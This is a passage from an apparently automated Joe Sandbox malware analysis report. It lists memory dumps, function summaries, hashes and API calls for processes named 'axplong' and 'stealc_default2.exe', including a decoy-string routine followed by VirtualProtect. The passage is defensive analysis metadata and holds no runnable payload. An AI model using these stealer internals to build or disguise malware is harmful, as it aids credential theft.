Associated: 00000013.00000002.4713341867.0000000000914000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713438502.000000000091C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713587627.000000000092D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713853632.000000000092E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714384535.000000000094F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714509226.0000000000950000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714509226.000000000095C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714609959.0000000000987000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714652704.0000000000988000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714699467.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714743825.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714783479.0000000000990000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714828772.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714871922.000000000099F000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_690000_axplong.jbxd

Yara matches

Similarity

API ID: ___std_exception_copy
String ID: P#i$P#i
API String ID: 2659868963-1653140521
Opcode ID: 03247779cc09b77f2e9c7696a584d9fc9f878a176b97692f209f74d1d8af3584
Instruction ID: bfc4066efb3d682f7466ccf0bd199501325a8bc4fcd2a5af282e092047944943
Opcode Fuzzy Hash: 03247779cc09b77f2e9c7696a584d9fc9f878a176b97692f209f74d1d8af3584
Instruction Fuzzy Hash: B9D017B2A203595BD610AF99D801982BBDDDE1A664714862AF654E7300F6B0E9908FA8

Function 00692580 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 19COMMON

Download Yara Rule

APIs

___std_exception_copy.LIBVCRUNTIME ref: 0069259E

Strings

P#i, xrefs: 0069258D
P#i, xrefs: 006925A6

Memory Dump Source

Source File: 00000013.00000002.4690859834.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000013.00000002.4689556026.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4690859834.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691660698.00000000006F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691765971.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691911663.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4696692809.000000000085D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4696975055.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4697922280.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699420723.0000000000872000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699563536.0000000000873000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699563536.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4702535882.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4702653147.0000000000898000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704422063.00000000008AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704505096.00000000008B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704629322.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4705496854.00000000008BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4706629701.00000000008BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707686757.00000000008C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707799817.00000000008DD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707878299.00000000008E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4708044169.00000000008E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709122257.00000000008E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709210472.00000000008EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709395907.00000000008F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709484840.00000000008FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709550569.00000000008FE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709614822.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709661927.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710559459.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710696124.000000000090A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710869674.0000000000912000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4712984146.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713341867.0000000000914000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713438502.000000000091C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713587627.000000000092D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713853632.000000000092E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714384535.000000000094F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714509226.0000000000950000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714509226.000000000095C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714609959.0000000000987000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714652704.0000000000988000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714699467.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714743825.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714783479.0000000000990000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714828772.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714871922.000000000099F000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_690000_axplong.jbxd

Yara matches

Similarity

API ID: ___std_exception_copy
String ID: P#i$P#i
API String ID: 2659868963-1653140521
Opcode ID: 6652ab7d93ff8a6b78c05dc05c67bdd65153f5b15a1ead8f5c1ffb992662ead0
Instruction ID: c7345f171bb9008d82b6823ae24c535398e4de45ca88043270a7bd9d431b1a7e
Opcode Fuzzy Hash: 6652ab7d93ff8a6b78c05dc05c67bdd65153f5b15a1ead8f5c1ffb992662ead0
Instruction Fuzzy Hash: 6DD0C2B29203555BD6009F99C800942BBDDDE16210700852AF144E7200F2B0E8908BE4

Function 00692E10 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 13COMMON

Download Yara Rule

APIs

__Mtx_destroy_in_situ.LIBCPMT ref: 00692E1D
__Cnd_destroy_in_situ.LIBCPMT ref: 00692E26

Strings

@.i, xrefs: 00692E16

Memory Dump Source

Source File: 00000013.00000002.4690859834.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000013.00000002.4689556026.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4690859834.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691660698.00000000006F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691765971.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691911663.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4696692809.000000000085D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4696975055.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4697922280.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699420723.0000000000872000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699563536.0000000000873000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699563536.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4702535882.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4702653147.0000000000898000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704422063.00000000008AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704505096.00000000008B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704629322.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4705496854.00000000008BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4706629701.00000000008BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707686757.00000000008C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707799817.00000000008DD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707878299.00000000008E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4708044169.00000000008E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709122257.00000000008E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709210472.00000000008EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709395907.00000000008F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709484840.00000000008FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709550569.00000000008FE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709614822.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709661927.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710559459.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710696124.000000000090A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710869674.0000000000912000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4712984146.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713341867.0000000000914000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713438502.000000000091C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713587627.000000000092D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713853632.000000000092E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714384535.000000000094F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714509226.0000000000950000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714509226.000000000095C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714609959.0000000000987000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714652704.0000000000988000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714699467.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714743825.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714783479.0000000000990000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714828772.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714871922.000000000099F000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_690000_axplong.jbxd

Yara matches

Similarity

API ID: Cnd_destroy_in_situMtx_destroy_in_situ
String ID: @.i
API String ID: 1432671424-2964489218
Opcode ID: 5f0afd8d05e0d2ad0994461361a0f8f69d1e3c92d52622c42b162ca1ad0b5448
Instruction ID: 0e27dcadc62a7fe6910adfd197f53cd6aaa9c28a413c100d5be33ea7be94a535
Opcode Fuzzy Hash: 5f0afd8d05e0d2ad0994461361a0f8f69d1e3c92d52622c42b162ca1ad0b5448
Instruction Fuzzy Hash: 39D012B6C037514BC760FF65A801C877BDEAE0A3203910D6EF4D197601EBB0B9848F54

Analysis Process: stealc_default2.exePID: 5012, Parent PID: 7416COMMON

Execution Graph

Execution Coverage:	4.2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	2.6%
Total number of Nodes:	2000
Total number of Limit Nodes:	40

Executed Functions

Function 006345C0 Relevance: 112.1, APIs: 34, Strings: 30, Instructions: 114
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,006469FB), ref: 006345CC
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,006469FB), ref: 006345D7
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,006469FB), ref: 006345E2
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,006469FB), ref: 006345ED
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,006469FB), ref: 006345F8
GetProcessHeap.KERNEL32(00000000,?,?,0000000F,?,006469FB), ref: 00634607
RtlAllocateHeap.NTDLL(00000000,?,0000000F,?,006469FB), ref: 0063460E
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,006469FB), ref: 0063461C
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,006469FB), ref: 00634627
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,006469FB), ref: 00634632
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,006469FB), ref: 0063463D
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,006469FB), ref: 00634648
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,006469FB), ref: 0063465C
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,006469FB), ref: 00634667
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,006469FB), ref: 00634672
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,006469FB), ref: 0063467D
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,006469FB), ref: 00634688
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 006346B1
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 006346BC
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 006346C7
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 006346D2
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 006346DD
strlen.MSVCRT ref: 006346F0
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00634718
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00634723
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 0063472E
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00634739
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00634744
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00634754
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 0063475F
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 0063476A
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00634775
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00634780
VirtualProtect.KERNEL32(?,00000004,00000100,00000000), ref: 0063479C

Strings

The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 006346CD
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 006345F3
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0063474F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0063471E
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00634657
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 006345E8
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 006346D8
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0063462D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 006345D2
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 006346B7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00634662
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 006345C7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00634678
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00634734
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00634617
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00634683
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00634643
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0063473F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 006345DD
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00634770
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 006346AC
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0063477B
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00634713
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 006346C2
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00634765
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0063466D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00634638
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00634729
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00634622
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0063475A

Memory Dump Source

Source File: 00000014.00000002.3296974695.0000000000631000.00000080.00000001.01000000.0000000B.sdmp, Offset: 00630000, based on PE: true

Associated: 00000014.00000002.3296938704.0000000000630000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297023855.000000000064E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297065149.000000000065B000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000067A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000068A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006B5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006B8000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006BF000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006E1000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006ED000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.0000000000712000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000071F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000073F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000074B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000074E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000007D5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000007F5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000007FB000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000087A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3298099490.000000000088C000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_630000_stealc_default2.jbxd

Yara matches

Similarity

API ID: lstrlen$Heap$AllocateProcessProtectVirtualstrlen
String ID: The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 